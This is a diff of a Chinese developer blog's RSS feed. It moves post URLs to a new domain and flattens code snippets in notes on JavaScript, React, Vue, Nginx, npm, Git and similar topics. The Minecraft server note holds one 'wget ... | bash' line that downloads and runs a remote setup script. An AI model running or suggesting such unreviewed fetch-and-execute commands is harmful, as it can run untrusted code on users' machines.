 windows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性
 navigator包含了当前浏览器的全部信息
-console.log(window.navigator)
可以看到输出了很多属性，如userAgent，language等等
+console.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等
 location表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：
-console.log(window.location)
const urlData = &amp;quot;https://xiaochenabc123.test.com/;
window.location.href = urlData;
这个也可以实现跳转
-window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
-window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)
reload方法可以重载页面，加上true参数将强制更新
-window.location.reload(true)
history表示浏览器的历史记录
-console.log(window.history)
length表示本次访问网站的数量
+console.log(window.location) const urlData = &amp;quot;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转
+window.location.assign(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面
+window.location.replace(&amp;quot;https://xiaochenabc123.test.com&amp;quot;) reload方法可以重载页面，加上true参数将强制更新
+window.location.reload(true) history表示浏览器的历史记录
+console.log(window.history) length表示本次访问网站的数量
 同时也提供了几个方法
 back()返回上个页面
 window.history.back()
@@ -2443,7 +2443,7 @@ window.history.forward()
 go()，前进或者后退指定次数，正数为前进，负数为后退
 window.history.go(-1)
 screen代表用户的屏幕的信息, 获取显示器的相关信息
-console.log(window.screen)
call 和 apply
+console.log(window.screen) call 和 apply
 addEventListen()绑定事件函数
 removeEventListen()移除事件函数
 鼠标按下时onmousedown
@@ -2459,10 +2459,10 @@ document.execCommand(&amp;lsquo;paste&amp;rsquo;) // 粘贴</description>
     
     <item>
       <title>TypeScript学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/58/</link>
+      <link>https://chenjunlinabc.github.io/posts/58/</link>
       <pubDate>Sun, 18 Jul 2021 15:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/58/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/58/</guid>
       <description>TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
@@ -2504,10 +2504,10 @@ let hallo: number = 123;</description>
     
     <item>
       <title>简单了解MVC，MVP和MVVM之间的不同与联系</title>
-      <link>https://xiaochenabc123.github.io/posts/56/</link>
+      <link>https://chenjunlinabc.github.io/posts/56/</link>
       <pubDate>Fri, 09 Jul 2021 22:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/56/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/56/</guid>
       <description>MVC（Model-View-Controller）分别为View（视图，用户界面），Model（模型，数据保存），Controller（控制器，逻辑）
 视图层发指令（Dom事件）给控制器，控制器完成逻辑处理，请求模型改变状态，模型将最新的数据发送给视图，得到反馈，各个之间通信是单向的
 也可以Controller接受指令，要求模型改变状态，模型将最新的数据发送给视图
@@ -2519,10 +2519,10 @@ MVVM（Model-View-ViewModel）实质上就是MVC的改进版，和MVP模式基
     
     <item>
       <title>React学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/55/</link>
+      <link>https://chenjunlinabc.github.io/posts/55/</link>
       <pubDate>Fri, 09 Jul 2021 22:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/55/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/55/</guid>
       <description>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化
 安装react
 npm i react react-dom
@@ -2532,12 +2532,12 @@ react-dom包提供DOM相关的功能
 通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上
 也可以通过引入src文件的方式引入cdn文件或者本地文件
 第一个例子
-&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt;
ReactDOM.render(
&amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
);
&amp;lt;/script&amp;gt;
使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
+&amp;lt;script type=&amp;quot;text/babel&amp;quot;&amp;gt; ReactDOM.render( &amp;lt;h1&amp;gt;hallo,react!!!&amp;lt;/h1&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ); &amp;lt;/script&amp;gt; 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了
 jsx是一种JavaScript语法扩展，例如：
-const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;;
像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
+const hallo = &amp;lt;h1&amp;gt;hallo&amp;lt;/h1&amp;gt;; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）
 在jsx中插入JavaScript表达式，用大括号包含起来，例如：
-function hallo(yes){
return yes.name;
}
const yes = {
name: &amp;quot;react&amp;quot;
};
const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;;
ReactDOM.render(
hallo,
document.getElementById(&amp;quot;app&amp;quot;)
);
当然react并没有强制要求必须使用jsx，例如：
-const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;))
/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;))
/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
react脚手架
+function hallo(yes){ return yes.name; } const yes = { name: &amp;quot;react&amp;quot; }; const hallo = &amp;lt;h1&amp;gt;hallo,{hallo(yes)}&amp;lt;/h1&amp;gt;; ReactDOM.render( hallo, document.getElementById(&amp;quot;app&amp;quot;) ); 当然react并没有强制要求必须使用jsx，例如：
+const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
@@ -2547,15 +2547,15 @@ npm start或者yarn start
     
     <item>
       <title>Ajax学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/54/</link>
+      <link>https://chenjunlinabc.github.io/posts/54/</link>
       <pubDate>Sat, 03 Jul 2021 15:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/54/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/54/</guid>
       <description>ajax是浏览器提供的一套方法，可以实现页面无刷新更新数据
 关于XMLHttpRequest对象（构造函数）的用法：https://xiaochenabc123.test.com/archives/14.html
 ajax需要网站环境下生效，需要web服务器，nodemon
 app.js
-// 导入express
const express = require(&amp;quot;express&amp;quot;);
// 导入path
const patg = require(&amp;quot;path&amp;quot;);
// 创建web服务器
const app = express();
// 静态资源访问服务
app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;)));
app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send(&amp;quot;hallo&amp;quot;);
});
// 监听端口
app.listen(3000);
console.log(&amp;quot;服务器启动成功&amp;quot;)
nodemon app.js
+// 导入express const express = require(&amp;quot;express&amp;quot;); // 导入path const patg = require(&amp;quot;path&amp;quot;); // 创建web服务器 const app = express(); // 静态资源访问服务 app.use(express.static(path.join(__dirname,&amp;quot;public&amp;quot;))); app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send(&amp;quot;hallo&amp;quot;); }); // 监听端口 app.listen(3000); console.log(&amp;quot;服务器启动成功&amp;quot;) nodemon app.js
 ajax运行原理
 ajax代理浏览器发送请求和接收响应，达到局部更新页面数据的效果
 创建ajax对象
@@ -2565,18 +2565,18 @@ hallo.open(&amp;ldquo;GET&amp;rdquo;,&amp;ldquo;https://httpbin.org/get&amp;quot
 发送请求
 hallo.send();
 获取服务端给予客户端的响应数据，因为请求和获取数据的速度取决于网络速度，应该设置onload事件，当加载完毕了再获取数据
-hallo.onload = function(){
console.log(hallo.responseText)
}
服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
+hallo.onload = function(){ console.log(hallo.responseText) } 服务端大部分情况下用json对象作为响应数据的格式，通过拼接json数据和html，将拼接的结果显示在页面中
 在http请求与响应的过程中，请求参数或者响应内容，如果是对象类型，最后都会转换为对象字符串进行传输，例如：
-app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{
res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;});
});
json字符串转换为json对象
-var responseText = JSON.parse(hallo.responseText);
console.</description>
+app.get(&amp;quot;/hallo&amp;quot;,(req, res) = &amp;gt;{ res.send({&amp;quot;name&amp;quot; : &amp;quot;root&amp;quot;}); }); json字符串转换为json对象
+var responseText = JSON.parse(hallo.responseText); console.</description>
     </item>
     
     <item>
       <title>深入学习vue组件</title>
-      <link>https://xiaochenabc123.github.io/posts/53/</link>
+      <link>https://chenjunlinabc.github.io/posts/53/</link>
       <pubDate>Sat, 03 Jul 2021 11:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/53/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/53/</guid>
       <description>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
@@ -2585,24 +2585,24 @@ var responseText = JSON.parse(hallo.responseText);
console.</description>
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const datas ={
template: `
&amp;lt;div&amp;gt;
hallo
&amp;lt;/div&amp;gt;
`
}
const hallo = Vue.createApp({
components: {
&amp;quot;datas-a&amp;quot; : datas
}
}).mount(&#39;#app&#39;)
&amp;lt;/script&amp;gt;
components对象，键为自定义元素的名称，值为组件的实质对象
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;datas-a&amp;gt;&amp;lt;/datas-a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const datas ={ template: ` &amp;lt;div&amp;gt; hallo &amp;lt;/div&amp;gt; ` } const hallo = Vue.createApp({ components: { &amp;quot;datas-a&amp;quot; : datas } }).mount(&#39;#app&#39;) &amp;lt;/script&amp;gt; components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
components: {
&amp;quot;datas-a&amp;quot; : dataa
}
}
模块系统
+const datab ={ components: { &amp;quot;datas-a&amp;quot; : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from &amp;lsquo;./datas&amp;rsquo;
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
component: {
props:{
abc: String,
xyz: Boolean,
},
template: `&amp;lt;h1&amp;gt;{{abc.</description>
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&amp;lt;h1&amp;gt;{{abc.</description>
     </item>
     
     <item>
       <title>正则表达式学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/52/</link>
+      <link>https://chenjunlinabc.github.io/posts/52/</link>
       <pubDate>Fri, 02 Jul 2021 18:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/52/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/52/</guid>
       <description>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
@@ -2642,10 +2642,10 @@ var hallo = /a*/;</description>
     
     <item>
       <title>CSS预处理器-Sass学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/51/</link>
+      <link>https://chenjunlinabc.github.io/posts/51/</link>
       <pubDate>Fri, 02 Jul 2021 08:44:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/51/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/51/</guid>
       <description>sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass &amp;ndash;save-dev
@@ -2676,18 +2676,18 @@ sass &amp;ndash;watch sass/style.scss:css/style.css
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
#app{
color: $color;
}
变量也可以嵌套到属性中
-$right: right;
#app{
margin-#{$right}: 50px;
}
运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
width: 100px + 20px;
height: (300px / 3) * 2;
}
嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
     </item>
     
     <item>
       <title>CSS预处理器-Less学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/50/</link>
+      <link>https://chenjunlinabc.github.io/posts/50/</link>
       <pubDate>Thu, 01 Jul 2021 15:31:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/50/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/50/</guid>
       <description>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
@@ -2710,7 +2710,7 @@ hallo.less
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
#app{
background-color: @color;
}
less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -2720,16 +2720,16 @@ lessc style.less style.css
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
width: 100px;
div{
width: 60px;
}
}
伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
-#app{
width: 100px;
a{
color: #000;
&amp;amp;:hover{
color: @color;
}
&amp;amp;::before{
width: 30px;
}
} }
less运算</description>
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &amp;amp;:hover{ color: @color; } &amp;amp;::before{ width: 30px; } } } less运算</description>
     </item>
     
     <item>
       <title>数据结构与算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/49/</link>
+      <link>https://chenjunlinabc.github.io/posts/49/</link>
       <pubDate>Tue, 29 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/49/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/49/</guid>
       <description>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
@@ -2792,10 +2792,10 @@ less嵌套
     
     <item>
       <title>微信小程序学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/48/</link>
+      <link>https://chenjunlinabc.github.io/posts/48/</link>
       <pubDate>Sun, 27 Jun 2021 12:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/48/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/48/</guid>
       <description>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
@@ -2826,8 +2826,8 @@ index.js页面逻辑
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-&amp;quot;pages&amp;quot;:[
&amp;quot;pages/index/index&amp;quot;,
&amp;quot;pages/demo/demo&amp;quot;
],
window属性是设置小程序的窗口样式，例如：
-&amp;quot;window&amp;quot;:{
&amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;,
&amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色
&amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本
&amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色
},
从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+&amp;quot;pages&amp;quot;:[ &amp;quot;pages/index/index&amp;quot;, &amp;quot;pages/demo/demo&amp;quot; ], window属性是设置小程序的窗口样式，例如：
+&amp;quot;window&amp;quot;:{ &amp;quot;backgroundTextStyle&amp;quot;:&amp;quot;light&amp;quot;, &amp;quot;navigationBarBackgroundColor&amp;quot;: &amp;quot;#fff&amp;quot;, // 导航栏背景颜色 &amp;quot;navigationBarTitleText&amp;quot;: &amp;quot;Weixin&amp;quot;, // 导航栏文本 &amp;quot;navigationBarTextStyle&amp;quot;:&amp;quot;black&amp;quot; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -2851,10 +2851,10 @@ text元素是表示行内文本，和span类似</description>
     
     <item>
       <title>webpack学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/47/</link>
+      <link>https://chenjunlinabc.github.io/posts/47/</link>
       <pubDate>Thu, 24 Jun 2021 10:11:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/47/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/47/</guid>
       <description>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
@@ -2872,15 +2872,15 @@ require(&amp;quot;!style-loader!css-loader!./abc.css&amp;quot;); document.write(
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
entry: &#39;入口文件的路径&#39;,
output: {
path:__dirname,
filename: &#39;最后输出到哪个文件的文件名&#39;
},
module: {
rules: [{
test: &#39;处理什么格式的文件&#39;,
use:[
{
loader: &#39;依赖包&#39;
}
]
}
]
}
};
模块化</description>
+module.exports = { entry: &#39;入口文件的路径&#39;, output: { path:__dirname, filename: &#39;最后输出到哪个文件的文件名&#39; }, module: { rules: [{ test: &#39;处理什么格式的文件&#39;, use:[ { loader: &#39;依赖包&#39; } ] } ] } }; 模块化</description>
     </item>
     
     <item>
       <title>Grid布局学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/45/</link>
+      <link>https://chenjunlinabc.github.io/posts/45/</link>
       <pubDate>Wed, 23 Jun 2021 10:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/45/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/45/</guid>
       <description>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
@@ -2904,10 +2904,10 @@ grid-row-gap: 10px; // 行间距（行与行的距离）</description>
     
     <item>
       <title>css的一些知识扩展</title>
-      <link>https://xiaochenabc123.github.io/posts/44/</link>
+      <link>https://chenjunlinabc.github.io/posts/44/</link>
       <pubDate>Wed, 23 Jun 2021 09:16:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/44/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/44/</guid>
       <description>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
@@ -2949,10 +2949,10 @@ media 媒体查询
     
     <item>
       <title>一些常用的进制转换方法</title>
-      <link>https://xiaochenabc123.github.io/posts/43/</link>
+      <link>https://chenjunlinabc.github.io/posts/43/</link>
       <pubDate>Sun, 20 Jun 2021 20:07:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/43/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/43/</guid>
       <description>除2取余，逆序排列
 十进制（整数）转二进制一般使用&amp;quot;除2取余，逆序排列&amp;quot;法：
 1.先使用2整除2进制，得到商和余数
@@ -2968,10 +2968,10 @@ media 媒体查询
     
     <item>
       <title>记录一次MIME类型错误</title>
-      <link>https://xiaochenabc123.github.io/posts/39/</link>
+      <link>https://chenjunlinabc.github.io/posts/39/</link>
       <pubDate>Thu, 17 Jun 2021 08:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/39/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/39/</guid>
       <description>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
@@ -2984,10 +2984,10 @@ media 媒体查询
     
     <item>
       <title>Yarn包管理工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/38/</link>
+      <link>https://chenjunlinabc.github.io/posts/38/</link>
       <pubDate>Wed, 16 Jun 2021 22:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/38/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/38/</guid>
       <description>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
@@ -3025,10 +3025,10 @@ yarn upgrade &amp;ndash;latest 包名</description>
     
     <item>
       <title>wsl2-windows子系统简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/35/</link>
+      <link>https://chenjunlinabc.github.io/posts/35/</link>
       <pubDate>Wed, 16 Jun 2021 17:43:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/35/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/35/</guid>
       <description>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
@@ -3060,34 +3060,34 @@ wsl &amp;ndash;list &amp;ndash;online
     
     <item>
       <title>Nginx服务器的一些简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/34/</link>
+      <link>https://chenjunlinabc.github.io/posts/34/</link>
       <pubDate>Wed, 16 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/34/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/34/</guid>
       <description>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate &amp;ldquo;crt证书的绝对路径&amp;rdquo;; ssl_certificate_key&amp;quot;key证书的绝对路径&amp;quot;;
 如果想访问网站就301重定向到https，那么添加这几行
-server{
listen 80;
server_name xiaochenabc123.test.com;
rewrite ^(.*) https://$host$1 permanent;
}
# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
proxy_connect_timeout 200; # 设置连接超时
proxy_read_timeout 200; # 设置读响应超时
}
重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
gzip_comp_level 1; gzip_min_length 10;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
解释：
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
 gzip on // gzip开启，关闭是off</description>
     </item>
     
     <item>
       <title>Linux环境下简单搭建Minecraft服务器（java版）</title>
-      <link>https://xiaochenabc123.github.io/posts/33/</link>
+      <link>https://chenjunlinabc.github.io/posts/33/</link>
       <pubDate>Wed, 16 Jun 2021 15:46:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/33/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/33/</guid>
       <description>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
@@ -3121,10 +3121,10 @@ wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</descri
     
     <item>
       <title>node.js包管理工具npm的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/31/</link>
+      <link>https://chenjunlinabc.github.io/posts/31/</link>
       <pubDate>Wed, 16 Jun 2021 15:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/31/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/31/</guid>
       <description>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &amp;ndash;dependencies 只安装package.json里的dependencies的文件 npm install &amp;ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
@@ -3133,10 +3133,10 @@ npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g
     
     <item>
       <title>Git版本管理系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/30/</link>
+      <link>https://chenjunlinabc.github.io/posts/30/</link>
       <pubDate>Wed, 16 Jun 2021 14:51:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/30/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/30/</guid>
       <description>git安装
 Windows和mac
 到git官网下载对应的安装文件，进行安装，下一步
@@ -3161,10 +3161,10 @@ git reset &amp;ndash;hard HEAD^ #回退上一个版本，上上一个版本就
     
     <item>
       <title>配置树莓派笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/29/</link>
+      <link>https://chenjunlinabc.github.io/posts/29/</link>
       <pubDate>Wed, 16 Jun 2021 14:48:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/29/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/29/</guid>
       <description>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
@@ -3175,7 +3175,7 @@ git reset &amp;ndash;hard HEAD^ #回退上一个版本，上上一个版本就
